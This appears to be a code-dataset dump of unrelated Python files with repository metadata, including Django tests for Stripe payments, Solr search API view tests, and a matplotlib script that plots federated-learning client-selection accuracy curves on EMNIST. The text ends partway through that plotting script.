from .simulations import simulate_lorenz from .simulations import simulate_rossler from .simulations import simulate_vanderpol_oscillator from .simulations import simulate_duffing_oscillator from .simulations import simulate_coupled_vdp from .simulations import simulate_coupled_vdp_lorenz from .simulations import simulate_lsim from .simulations import lorenz from .dmd import DMD from .sindy import SINDy from .utils import hankel_matrix

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6

00d316ec796e9bdaaa32f5222f8a0f5fa1e12714

96

py

Python

venv/lib/python3.8/site-packages/numpy/f2py/tests/test_callback.py

Retraces/UkraineBot

3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71

[ "MIT" ]

2

2022-03-13T01:58:52.000Z

2022-03-31T06:07:54.000Z

venv/lib/python3.8/site-packages/numpy/f2py/tests/test_callback.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

19

2021-11-20T04:09:18.000Z

2022-03-23T15:05:55.000Z

venv/lib/python3.8/site-packages/numpy/f2py/tests/test_callback.py

DesmoSearch/Desmobot

b70b45df3485351f471080deb5c785c4bc5c4beb

[ "MIT" ]

null

/home/runner/.cache/pip/pool/eb/60/f3/07eb813b3b488199a158453d093b48cecec464b896f6fa3a2cad762040

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null

1

0

1

0

6

00ef36a18f2f60e60440edeb9d4de89283c1ec19

160

py

Python

wemos-d1-mini/main.py

flashypepo/myMicropython-Examples

b2b63df865b5ad471b351ca5f279135025859f5d

[ "MIT" ]

3

2017-09-03T17:17:44.000Z

2017-12-10T12:26:46.000Z

wemos-d1-mini/main.py

flashypepo/myMicropython-Examples

b2b63df865b5ad471b351ca5f279135025859f5d

[ "MIT" ]

null

wemos-d1-mini/main.py

flashypepo/myMicropython-Examples

b2b63df865b5ad471b351ca5f279135025859f5d

[ "MIT" ]

2

2017-10-01T01:10:55.000Z

2018-07-15T19:49:29.000Z

# main.py - select startup program import scroller # OLED-demo import sht30_demo # SHT30 shield demo #TODO: show temperature and humidity on OLED display

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6

da94dae4ed99dc8089a836ab148535e662f62a0b

4,214

py

Python

brambling/tests/integration/test_stripe.py

j-po/django-brambling

be072903fbdecb94f1ec4680b717adc44e73c80b

[ "BSD-3-Clause" ]

null

brambling/tests/integration/test_stripe.py

j-po/django-brambling

be072903fbdecb94f1ec4680b717adc44e73c80b

[ "BSD-3-Clause" ]

null

brambling/tests/integration/test_stripe.py

j-po/django-brambling

be072903fbdecb94f1ec4680b717adc44e73c80b

[ "BSD-3-Clause" ]

null

from decimal import Decimal from django.test import TestCase import stripe from brambling.models import Event, Transaction from brambling.tests.factories import EventFactory, OrderFactory from brambling.utils.payment import stripe_prep, stripe_charge, stripe_refund class StripeTestCase(TestCase): def test_charge__no_customer(self): event = EventFactory(api_type=Event.TEST, application_fee_percent=Decimal('2.5')) order = OrderFactory(event=event) self.assertTrue(event.stripe_connected()) stripe_prep(Event.TEST) stripe.api_key = event.organization.stripe_test_access_token token = stripe.Token.create( card={ "number": '4242424242424242', "exp_month": 12, "exp_year": 2050, "cvc": '123' }, ) charge = stripe_charge( token, amount=42.15, order=order, event=event, ) self.assertIsInstance(charge.balance_transaction, stripe.StripeObject) self.assertEqual(charge.balance_transaction.object, "balance_transaction") self.assertEqual(len(charge.balance_transaction.fee_details), 2) self.assertEqual(charge.metadata, {'order': order.code, 'event': event.name}) txn = Transaction.from_stripe_charge(charge, api_type=event.api_type, event=event) # 42.15 * 0.025 = 1.05 self.assertEqual(txn.application_fee, Decimal('1.05')) # (42.15 * 0.029) + 0.30 = 1.52 self.assertEqual(txn.processing_fee, Decimal('1.52')) refund = stripe_refund( order=order, event=event, payment_id=txn.remote_id, amount=txn.amount ) self.assertEqual(refund['refund'].metadata, {'order': order.code, 'event': event.name}) refund_txn = Transaction.from_stripe_refund(refund, api_type=event.api_type, related_transaction=txn, event=event) self.assertEqual(refund_txn.amount, -1 * txn.amount) self.assertEqual(refund_txn.application_fee, -1 * txn.application_fee) self.assertEqual(refund_txn.processing_fee, -1 * txn.processing_fee) def test_charge__customer(self): event = EventFactory(api_type=Event.TEST, application_fee_percent=Decimal('2.5')) order = OrderFactory(event=event) self.assertTrue(event.stripe_connected()) stripe_prep(Event.TEST) token = stripe.Token.create( card={ "number": '4242424242424242', "exp_month": 12, "exp_year": 2050, "cvc": '123' }, ) customer = stripe.Customer.create( card=token, ) card = customer.default_card charge = stripe_charge( card, amount=42.15, event=event, order=order, customer=customer ) self.assertIsInstance(charge.balance_transaction, stripe.StripeObject) self.assertEqual(charge.balance_transaction.object, "balance_transaction") self.assertEqual(len(charge.balance_transaction.fee_details), 2) self.assertEqual(charge.metadata, {'order': order.code, 'event': event.name}) txn = Transaction.from_stripe_charge(charge, api_type=event.api_type, event=event) # 42.15 * 0.025 = 1.05 self.assertEqual(txn.application_fee, Decimal('1.05')) # (42.15 * 0.029) + 0.30 = 1.52 self.assertEqual(txn.processing_fee, Decimal('1.52')) refund = stripe_refund( order=order, event=event, payment_id=txn.remote_id, amount=txn.amount ) self.assertEqual(refund['refund'].metadata, {'order': order.code, 'event': event.name}) refund_txn = Transaction.from_stripe_refund(refund, api_type=event.api_type, related_transaction=txn, event=event) self.assertEqual(refund_txn.amount, -1 * txn.amount) self.assertEqual(refund_txn.application_fee, -1 * txn.application_fee) self.assertEqual(refund_txn.processing_fee, -1 * txn.processing_fee)

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971a8332c9d4e35a7894867d57e7c6b929706481

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py

Python

backend/app/views/insert_parts_on_backbones/__init__.py

Edinburgh-Genome-Foundry/CUBA

d57565951ead619ef9263e8b356b451001fb910f

[ "MIT" ]

15

2018-02-12T13:12:13.000Z

2021-08-15T11:37:59.000Z

backend/app/views/insert_parts_on_backbones/__init__.py

Edinburgh-Genome-Foundry/CUBA

d57565951ead619ef9263e8b356b451001fb910f

[ "MIT" ]

9

2020-06-05T17:54:54.000Z

2022-02-12T12:03:19.000Z

backend/app/views/insert_parts_on_backbones/__init__.py

Edinburgh-Genome-Foundry/CUBA

d57565951ead619ef9263e8b356b451001fb910f

[ "MIT" ]

3

2018-10-18T13:08:50.000Z

2020-08-17T14:09:46.000Z

from .InsertPartsOnBackbones import InsertPartsOnBackbonesView

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py

Python

jmdict/__init__.py

agent-whisper/jmdict-xml-wrapper

8befb81d5aee8977293785e2b24bf8067351b3ea

[ "MIT" ]

2

2021-04-12T14:20:12.000Z

2021-06-23T12:44:15.000Z

jmdict/__init__.py

agent-whisper/jmdict-xml-wrapper

8befb81d5aee8977293785e2b24bf8067351b3ea

[ "MIT" ]

null

jmdict/__init__.py

agent-whisper/jmdict-xml-wrapper

8befb81d5aee8977293785e2b24bf8067351b3ea

[ "MIT" ]

null

from .xml.models import JMDict from .xml.engine import JMDictEngine

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6

979a8b0ba9d0a987048a88f3289283f0f02d7bb8

152

py

Python

configs/oscar/oscar_gqa.py

linxi1158/iMIX

af87a17275f02c94932bb2e29f132a84db812002

[ "Apache-2.0" ]

23

2021-06-26T08:45:19.000Z

2022-03-02T02:13:33.000Z

configs/oscar/oscar_gqa.py

XChuanLee/iMIX

99898de97ef8b45462ca1d6bf2542e423a73d769

[ "Apache-2.0" ]

null

configs/oscar/oscar_gqa.py

XChuanLee/iMIX

99898de97ef8b45462ca1d6bf2542e423a73d769

[ "Apache-2.0" ]

9

2021-06-10T02:36:20.000Z

2021-11-09T02:18:16.000Z

_base_ = [ '../_base_/models/oscar/oscar_gqa_config.py', '../_base_/datasets/oscar/oscar_gqa_dataset.py', '../_base_/default_runtime.py', ]

25.333333

52

0.671053

19

152

4.684211

0.526316

0.224719

0.292135

0

0.125

152

5

53

30.4

0.669173

0

0.756579

0

1

0

false

0

1

0

null

1

0

1

0

1

null

0

6

97aecfeca586e462c94b489ef6b1e8c429068da8

9,639

py

Python

sleuth_backend/tests/test_views.py

ubclaunchpad/sleuth

7b7be0b7097a26169e17037f4220fd0ce039bde1

[ "MIT" ]

12

2017-09-17T02:14:35.000Z

2022-01-09T10:14:59.000Z

sleuth_backend/tests/test_views.py

ubclaunchpad/sleuth

7b7be0b7097a26169e17037f4220fd0ce039bde1

[ "MIT" ]

92

2017-09-16T23:50:45.000Z

2018-01-02T01:56:33.000Z

sleuth_backend/tests/test_views.py

ubclaunchpad/sleuth

7b7be0b7097a26169e17037f4220fd0ce039bde1

[ "MIT" ]

5

2017-12-26T01:47:36.000Z

2021-12-31T11:15:07.000Z

import json import pysolr from django.test import TestCase from django.http import HttpResponse from unittest.mock import MagicMock, patch from sleuth_backend.views.views import cores, search, getdocument class MockGet(object): def __init__(self, params): self.params = params def get(self, param, default): return self.params[param] if param in self.params else default class MockRequest(object): def __init__(self, method, get=None): self.method = method if get is not None: self.GET = get class TestAPI(TestCase): @patch('sleuth_backend.solr.connection.SolrConnection.core_names') def test_cores_without_get(self, mock_core_names): mock_core_names.return_value = ['core1', 'core2'] mock_request = MockRequest('POST') result = cores(mock_request) self.assertEqual(result.status_code, 405) @patch('sleuth_backend.solr.connection.SolrConnection.core_names') def test_cores_with_get(self, mock_core_names): mock_core_names.return_value = ['core1', 'core2'] mock_request = MockRequest('GET') result = cores(mock_request) self.assertEqual(result.status_code, 200) self.assertEqual(result.content, b'["core1", "core2"]') @patch('sleuth_backend.solr.connection.SolrConnection.query') def test_apis_without_get(self, mock_query): mock_query.return_value = {} mock_request = MockRequest('POST') result = search(mock_request) self.assertEqual(result.status_code, 405) result = getdocument(mock_request) self.assertEqual(result.status_code, 405) @patch('sleuth_backend.solr.connection.SolrConnection.query') def test_apis_without_params(self, mock_query): mock_query.return_value = {} mock_request = MockRequest('GET', get=MockGet({})) result = search(mock_request) response_body = json.loads(result.content) self.assertEqual(result.status_code, 400) self.assertEqual(response_body['errorType'], 'INVALID_SEARCH_REQUEST') result = getdocument(mock_request) response_body = json.loads(result.content) self.assertEqual(result.status_code, 400) self.assertEqual(response_body['errorType'], 'INVALID_GETDOCUMENT_REQUEST') @patch('sleuth_backend.solr.connection.SolrConnection.core_names') @patch('sleuth_backend.solr.connection.SolrConnection.query') def test_apis_with_valid_request(self, mock_query, mock_cores): mock_cores.return_value = ['genericPage', 'redditPost', 'courseItem'] # genericPage search mock_query.return_value = { "type": "genericPage", "response": { "numFound": 1, "start": 0, "docs": [ { "id": ["www.cool.com"], "description": ["Nice one dude"], } ] }, "highlighting": { "www.cool.com": { "content": ['Nice one dude'] } } } params = { 'q': 'somequery', 'type': 'genericPage', 'return': 'content' } mock_request = MockRequest('GET', get=MockGet(params)) result = search(mock_request) self.assertEqual(result.status_code, 200) mock_response = mock_query.return_value mock_response['response']['docs'][0]['id'] = 'www.cool.com' mock_response['response']['docs'][0]['updatedAt'] = '' mock_response['response']['docs'][0]['name'] = '' mock_response['response']['docs'][0]['description'] = 'Nice one dude' self.maxDiff = None self.assertEqual( json.loads(result.content.decode('utf-8')), { "data": [{"type": "genericPage", "response": {"numFound": 1, "start": 0, "docs": [{"id": "www.cool.com", "description": "Nice one dude", "updatedAt": "", "name": "", "content": ""}]}, "highlighting": {"www.cool.com": {"content": ["Nice one dude"]}}}], "request": {"query": "somequery", "types": ["genericPage"], "return_fields": ["id", "updatedAt", "name", "description", "content"], "state": ""} } ) # multicore search mock_cores.return_value = ['courseItem', 'courseItem'] params = { 'q': 'somequery' } mock_request = MockRequest('GET', get=MockGet(params)) result = search(mock_request) self.assertEqual(result.status_code, 200) self.assertEqual( json.loads(result.content.decode('utf-8')), {'data': [{'type': 'courseItem', 'response': {'numFound': 1, 'start': 0, 'docs': [{'id': 'www.cool.com', 'description': 'Nice one dude', 'updatedAt': '', 'name': '', 'content': ''}]}, 'highlighting': {'www.cool.com': {'content': ['Nice one dude']}}}, {'type': 'courseItem', 'response': {'numFound': 1, 'start': 0, 'docs': [ {'id': 'www.cool.com', 'description': 'Nice one dude', 'updatedAt': '', 'name': '', 'content': ''}]}, 'highlighting': {'www.cool.com': {'content': ['Nice one dude']}}}], 'request': {'query': 'somequery', 'types': ['courseItem', 'courseItem'], 'return_fields': ['id', 'updatedAt', 'name', 'description'], 'state': ''}} ) # redditPost search mock_cores.return_value = ['genericPage', 'redditPost', 'courseItem'] mock_query.return_value['type'] = 'redditPost' mock_query.return_value['highlighting']['www.cool.com'] = {'content': ['Nice']} params = { 'q': 'somequery', 'type': 'redditPost' } mock_request = MockRequest('GET', get=MockGet(params)) result = search(mock_request) self.assertEqual(result.status_code, 200) mock_response = mock_query.return_value # getdocument params = { 'id': 'somequery', 'type': 'genericPage', 'return': 'content' } mock_request = MockRequest('GET', get=MockGet(params)) result = getdocument(mock_request) self.assertEqual(result.status_code, 200) self.assertEqual( json.loads(result.content.decode('utf-8')), {'data': {'type': 'genericPage', 'doc': {'id': 'www.cool.com', 'description': 'Nice one dude', 'updatedAt': '', 'name': '', 'content': ''}}, 'request': { 'query': 'somequery', 'types': ['genericPage'], 'return_fields': ['id', 'updatedAt', 'name', 'description', 'content'], 'state': ''}} ) mock_query.return_value['response']['numFound'] = 0 mock_request = MockRequest('GET', get=MockGet(params)) result = getdocument(mock_request) self.assertEqual(result.status_code, 404) @patch('sleuth_backend.solr.connection.SolrConnection.core_names') @patch('sleuth_backend.solr.connection.SolrConnection.query') def test_apis_with_error_response(self, mock_query, mock_cores): mock_cores.return_value = ['test'] # Solr response error mock_query.return_value = { "error": { "msg": "org.apache.solr.search.SyntaxError", "code": 400, } } params = { 'q': 'somequery', 'type': 'test', } expected_response = json.dumps({ "message": "org.apache.solr.search.SyntaxError on core test", "errorType": "SOLR_SEARCH_ERROR", }) mock_request = MockRequest('GET', get=MockGet(params)) result = search(mock_request) self.assertEqual(result.status_code, 400) self.assertEqual(result.content.decode("utf-8"), expected_response) mock_request = MockRequest('GET', get=MockGet({'id':'query', 'type': 'test'})) result = getdocument(mock_request) self.assertEqual(result.status_code, 400) self.assertEqual(result.content.decode("utf-8"), expected_response) # pysolr error mock_query.side_effect = pysolr.SolrError() mock_request = MockRequest('GET', get=MockGet(params)) result = search(mock_request) self.assertEqual(result.status_code, 400) mock_request = MockRequest('GET', get=MockGet({'id':'query'})) result = getdocument(mock_request) self.assertEqual(result.status_code, 400) # Key error mock_query.side_effect = KeyError() mock_request = MockRequest('GET', get=MockGet(params)) result = search(mock_request) self.assertEqual(result.status_code, 500) mock_request = MockRequest('GET', get=MockGet({'id':'query'})) result = getdocument(mock_request) self.assertEqual(result.status_code, 500) # Value error mock_query.side_effect = ValueError() mock_request = MockRequest('GET', get=MockGet(params)) result = search(mock_request) self.assertEqual(result.status_code, 500) mock_request = MockRequest('GET', get=MockGet({'id':'query'})) result = getdocument(mock_request) self.assertEqual(result.status_code, 500) # Invalid param error params = { 'q': 'somequery', 'type': 'asdlialisfas', } mock_request = MockRequest('GET', get=MockGet(params)) result = search(mock_request) self.assertEqual(result.status_code, 400) mock_request = MockRequest('GET', get=MockGet({'id':'query','type':'asdf'})) result = getdocument(mock_request) self.assertEqual(result.status_code, 400)

44.419355

335

0.599855

993

9,639

5.649547

0.119839

0.078431

0.08984

0.10107

0.808734

0.752406

0.737433

0.722816

0.715152

0.674688

0

0.012414

0.247847

9,639

216

336

44.625

0.761379

0.015251

0

0.510753

0

0.221367

0.057477

0

0.155914

1

0.048387

false

0

0.032258

0.005376

0.102151

0

null

0

1

0

null

0

6

97d096b5ae42717946e175bd22dc2bf7e8a65f62

50

py

Python

koocook_core/management/commands/_scrape/__init__.py

KooCook/koocook-dj

33bfaf48e8363013ddd083d5d8542496c50fd5d3

[ "BSD-3-Clause" ]

1

2020-10-19T04:44:49.000Z

koocook_core/management/commands/_scrape/__init__.py

KooCook/koocook-dj

33bfaf48e8363013ddd083d5d8542496c50fd5d3

[ "BSD-3-Clause" ]

26

2019-11-11T03:37:03.000Z

2019-12-15T23:18:18.000Z

koocook_core/management/commands/_scrape/__init__.py

KooCook/koocook-dj

33bfaf48e8363013ddd083d5d8542496c50fd5d3

[ "BSD-3-Clause" ]

1

2020-11-08T14:36:21.000Z

from . import allrecipes from . import epicurious

16.666667

24

0.8

6

50

6.666667

0.666667

0.5

0

0.16

50

2

25

0.952381

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

c13f8a1eb91051df5fc2f34cdddce6347ea4cecb

119

py

Python

example/asr/text.py

rosinality/imputer-pytorch

7ff8f73dcd7bd62a98c5b8a126946c5fe381d895

[ "MIT" ]

41

2020-04-21T08:24:07.000Z

2021-12-03T06:12:39.000Z

example/asr/text.py

rosinality/imputer-pytorch

7ff8f73dcd7bd62a98c5b8a126946c5fe381d895

[ "MIT" ]

null

example/asr/text.py

rosinality/imputer-pytorch

7ff8f73dcd7bd62a98c5b8a126946c5fe381d895

[ "MIT" ]

3

2020-09-29T08:50:38.000Z

2021-05-11T08:57:37.000Z

import re re_whitespace = re.compile(r'\s+') def collapse_whitespace(text): return re_whitespace.sub(' ', text)

14.875

39

0.705882

17

119

4.764706

0.647059

0.296296

0

0.151261

119

7

40

17

0.80198

0

0.033613

0

1

0.25

false

0

0.25

0.75

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

c14d3ba8ee9a635496f91eb73be1197731c2b1be

37,600

py

Python

makegraph.py

aviramlachmani/flsim-E3CS-impl

8129f581dada4f20b8b2bfe66cf79d30b5d84677

[ "Apache-2.0" ]

null

makegraph.py

aviramlachmani/flsim-E3CS-impl

8129f581dada4f20b8b2bfe66cf79d30b5d84677

[ "Apache-2.0" ]

null

makegraph.py

aviramlachmani/flsim-E3CS-impl

8129f581dada4f20b8b2bfe66cf79d30b5d84677

[ "Apache-2.0" ]

null

import os.path import matplotlib.pyplot as plt from matplotlib.legend_handler import HandlerLine2D import numpy as np def graph(): # graph EMNIST-Letter, iid, FedAvg-based round_t = [] emnist_random_iid_a = [0] * 400 emnist_FedCS_iid_a = [0] * 400 emnist_pow_d_iid_a = [0] * 400 emnist_E3CS_0_iid_a = [0] * 400 emnist_E3CS_05_iid_a = [0] * 400 emnist_E3CS_08_iid_a = [0] * 400 emnist_E3CS_inc_iid_a = [0] * 400 if os.path.isfile("output_emnist_random_iid_a.txt"): emnist_random_iid_a_file = open("output_emnist_random_iid_a.txt") emnist_random_iid_a = [] with emnist_random_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_random_iid_a.append(float(line[3]) / 100) round_t.append(int(line[1])) else: x += 1 if os.path.isfile("output_emnist_FedCS_iid_a.txt"): emnist_FedCS_iid_a_file = open("output_emnist_FedCS_iid_a.txt") emnist_FedCS_iid_a = [] with emnist_FedCS_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_FedCS_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_pow-d_iid_a.txt"): emnist_pow_d_iid_a_file = open("output_emnist_pow-d_iid_a.txt") emnist_pow_d_iid_a = [] with emnist_pow_d_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_pow_d_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_0_iid_a.txt"): emnist_E3CS_0_iid_a_file = open("output_emnist_E3CS_0_iid_a.txt") emnist_E3CS_0_iid_a = [] with emnist_E3CS_0_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_0_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_05_iid_a.txt"): emnist_E3CS_05_iid_a_file = open("output_emnist_E3CS_05_iid_a.txt") emnist_E3CS_05_iid_a = [] with emnist_E3CS_05_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_05_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_08_iid_a.txt"): emnist_E3CS_08_iid_a_file = open("output_emnist_E3CS_08_iid_a.txt") emnist_E3CS_08_iid_a = [] with emnist_E3CS_08_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_08_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_inc_iid_a.txt"): emnist_E3CS_inc_iid_a_file = open("output_emnist_E3CS_inc_iid_a.txt") emnist_E3CS_inc_iid_a = [] with emnist_E3CS_inc_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_inc_iid_a.append(float(line[3]) / 100) else: x += 1 # make grahp plt.figure(1) plt.plot(round_t, emnist_E3CS_0_iid_a, "pink") plt.plot(round_t, emnist_E3CS_05_iid_a, 'b') plt.plot(round_t, emnist_E3CS_08_iid_a, 'c') plt.plot(round_t, emnist_E3CS_inc_iid_a, 'g') plt.plot(round_t, emnist_FedCS_iid_a, 'y') plt.plot(round_t, emnist_random_iid_a, 'orange') plt.plot(round_t, emnist_pow_d_iid_a, 'r') plt.xlabel('Communication Rounds') plt.ylabel('Test Accuracy') plt.title("EMNIST-Letter, iid, FedAvg-based") plt.legend(["E3CS-0", "E3CS-05", "E3CS-08", "E3CS-inc", "FedCS", "Random", "pow-d"]) plt.show() # graph EMNIST-Letter, non-iid, FedAvg-based round_t = [] emnist_random_non_iid_a = [0] * 400 emnist_FedCS_non_iid_a = [0] * 400 emnist_pow_d_non_iid_a = [0] * 400 emnist_E3CS_0_non_iid_a = [0] * 400 emnist_E3CS_05_non_iid_a = [0] * 400 emnist_E3CS_08_non_iid_a = [0] * 400 emnist_E3CS_inc_non_iid_a = [0] * 400 if os.path.isfile("output_emnist_random_non_iid_a.txt"): emnist_random_non_iid_a_file = open("output_emnist_random_non_iid_a.txt") emnist_random_non_iid_a = [] with emnist_random_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_random_non_iid_a.append(float(line[3]) / 100) round_t.append(int(line[1])) else: x += 1 if os.path.isfile("output_emnist_FedCS_non_iid_a.txt"): emnist_FedCS_non_iid_a_file = open("output_emnist_FedCS_non_iid_a.txt") emnist_FedCS_non_iid_a = [] with emnist_FedCS_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_FedCS_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_pow-d_non_iid_a.txt"): emnist_pow_d_non_iid_a_file = open("output_emnist_pow-d_non_iid_a.txt") emnist_pow_d_non_iid_a = [] with emnist_pow_d_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_pow_d_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_0_non_iid_a.txt"): emnist_E3CS_0_non_iid_a_file = open("output_emnist_E3CS_0_non_iid_a.txt") emnist_E3CS_0_non_iid_a = [] with emnist_E3CS_0_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_0_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_05_non_iid_a.txt"): emnist_E3CS_05_non_iid_a_file = open("output_emnist_E3CS_05_non_iid_a.txt") emnist_E3CS_05_non_iid_a = [] with emnist_E3CS_05_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_05_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_08_non_iid_a.txt"): emnist_E3CS_08_non_iid_a_file = open("output_emnist_E3CS_08_non_iid_a.txt") emnist_E3CS_08_non_iid_a = [] with emnist_E3CS_08_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_08_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_inc_iid_a.txt"): emnist_E3CS_inc_non_iid_a_file = open("output_emnist_E3CS_inc_iid_a.txt") emnist_E3CS_inc_non_iid_a = [] with emnist_E3CS_inc_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_inc_non_iid_a.append(float(line[3]) / 100) else: x += 1 # make grahp plt.figure(2) plt.plot(round_t, emnist_E3CS_0_non_iid_a, "pink") plt.plot(round_t, emnist_E3CS_05_non_iid_a, 'b') plt.plot(round_t, emnist_E3CS_08_non_iid_a, 'c') plt.plot(round_t, emnist_E3CS_inc_non_iid_a, 'g') plt.plot(round_t, emnist_FedCS_non_iid_a, 'y') plt.plot(round_t, emnist_random_non_iid_a, 'orange') plt.plot(round_t, emnist_pow_d_non_iid_a, 'r') plt.xlabel('Communication Rounds') plt.ylabel('Test Accuracy') plt.title("EMNIST-Letter, non-iid, FedAvg-based") plt.legend(["E3CS-0", "E3CS-05", "E3CS-08", "E3CS-inc", "FedCS", "Random", "pow-d"]) plt.show() # graph EMNIST-Letter, iid, FedProx-based emnist_random_iid_p = [0] * 400 emnist_FedCS_iid_p = [0] * 400 emnist_pow_d_iid_p = [0] * 400 emnist_E3CS_0_iid_p = [0] * 400 emnist_E3CS_05_iid_p = [0] * 400 emnist_E3CS_08_iid_p = [0] * 400 emnist_E3CS_inc_iid_p = [0] * 400 if os.path.isfile("output_emnist_random_iid_p.txt"): emnist_random_iid_p_file = open("output_emnist_random_iid_p.txt") emnist_random_iid_p = [] with emnist_random_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_random_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_FedCS_iid_p.txt"): emnist_FedCS_iid_p_file = open("output_emnist_FedCS_iid_p.txt") emnist_FedCS_iid_p = [] with emnist_FedCS_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_FedCS_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_pow-d_iid_p.txt"): emnist_pow_d_iid_p_file = open("output_emnist_pow-d_iid_p.txt") emnist_pow_d_iid_p = [] with emnist_pow_d_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_pow_d_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_0_iid_p.txt"): emnist_E3CS_0_iid_p_file = open("output_emnist_E3CS_0_iid_p.txt") emnist_E3CS_0_iid_p = [] with emnist_E3CS_0_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_0_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_05_iid_p.txt"): emnist_E3CS_05_iid_p_file = open("output_emnist_E3CS_05_iid_p.txt") emnist_E3CS_05_iid_p = [] with emnist_E3CS_05_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_05_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_08_iid_p.txt"): emnist_E3CS_08_iid_p_file = open("output_emnist_E3CS_08_iid_p.txt") emnist_E3CS_08_iid_p = [] with emnist_E3CS_08_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_08_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_inc_iid_p.txt"): emnist_E3CS_inc_iid_p_file = open("output_emnist_E3CS_inc_iid_p.txt") emnist_E3CS_inc_iid_p = [] with emnist_E3CS_inc_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_inc_iid_p.append(float(line[3]) / 100) else: x += 1 # make grahp plt.figure(3) plt.plot(round_t, emnist_E3CS_0_iid_p, "pink") plt.plot(round_t, emnist_E3CS_05_iid_p, 'b') plt.plot(round_t, emnist_E3CS_08_iid_p, 'c') plt.plot(round_t, emnist_E3CS_inc_iid_p, 'g') plt.plot(round_t, emnist_FedCS_iid_p, 'y') plt.plot(round_t, emnist_random_iid_p, 'orange') plt.plot(round_t, emnist_pow_d_iid_p, 'r') plt.xlabel('Communication Rounds') plt.ylabel('Test Accuracy') plt.title("EMNIST-Letter, iid, FedProx-based") plt.legend(["E3CS-0", "E3CS-05", "E3CS-08", "E3CS-inc", "FedCS", "Random", "pow-d"]) plt.show() # graph EMNIST-Letter, non-iid, FedProx-based emnist_random_non_iid_p = [0] * 400 emnist_FedCS_non_iid_p = [0] * 400 emnist_pow_d_non_iid_p = [0] * 400 emnist_E3CS_0_non_iid_p = [0] * 400 emnist_E3CS_05_non_iid_p = [0] * 400 emnist_E3CS_08_non_iid_p = [0] * 400 emnist_E3CS_inc_non_iid_p = [0] * 400 if os.path.isfile("output_emnist_random_non_iid_p.txt"): emnist_random_non_iid_p_file = open("output_emnist_random_non_iid_p.txt") emnist_random_non_iid_p = [] with emnist_random_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_random_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_FedCS_non_iid_p.txt"): emnist_FedCS_non_iid_p_file = open("output_emnist_FedCS_non_iid_p.txt") emnist_FedCS_non_iid_p = [] with emnist_FedCS_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_FedCS_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_pow-d_non_iid_p.txt"): emnist_pow_d_non_iid_p_file = open("output_emnist_pow-d_non_iid_p.txt") emnist_pow_d_non_iid_p = [] with emnist_pow_d_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_pow_d_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_0_non_iid_p.txt"): emnist_E3CS_0_non_iid_p_file = open("output_emnist_E3CS_0_non_iid_p.txt") emnist_E3CS_0_non_iid_p = [] with emnist_E3CS_0_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if 